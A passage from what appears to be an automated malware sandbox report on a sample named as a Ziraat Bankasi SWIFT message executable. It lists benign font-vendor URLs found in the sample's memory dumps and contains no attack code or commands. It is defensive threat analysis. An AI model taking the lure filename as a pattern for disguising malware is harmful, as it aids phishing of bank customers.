Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300950320.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301645997.0000000006031000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com69
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299938247.000000000601A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com8I
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299938247.000000000601A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comFH
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299949266.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comGr
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comand
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comce
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comfac
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comhy/
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comily
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301948951.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302181801.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301855291.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302114099.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comits
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comitse
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml-B(
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300099384.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.compe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comre
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300033238.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300099384.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comsigW
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comsign
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304677827.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306012210.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers%
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304296667.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304341992.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304099259.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304382226.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304209518.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304170705.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304435662.0000000006043000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305003600.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305032513.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305068305.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304189881.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersH
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312655895.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersW
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312655895.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312618448.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersiv
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comF
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comL.TTF
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.coma$
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comalicg
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comals$
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comdP
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comicu
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.coml1
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comm
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.commsedY
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comueedl
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297868606.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297839542.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.comcom
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299606103.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299501081.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299462548.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cntsP=
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299447483.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cntsP=tx
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299447483.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299462548.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cnu-e
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308810403.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308658468.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308810403.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308658468.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/:
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308674164.0000000006012000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308958537.0000000006012000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309958548.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309176604.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309323595.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309409920.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309038359.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309119313.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308591362.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309275276.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309634439.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308723291.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309847410.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309538175.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308827341.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309771643.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308893439.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htmtr-tr
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 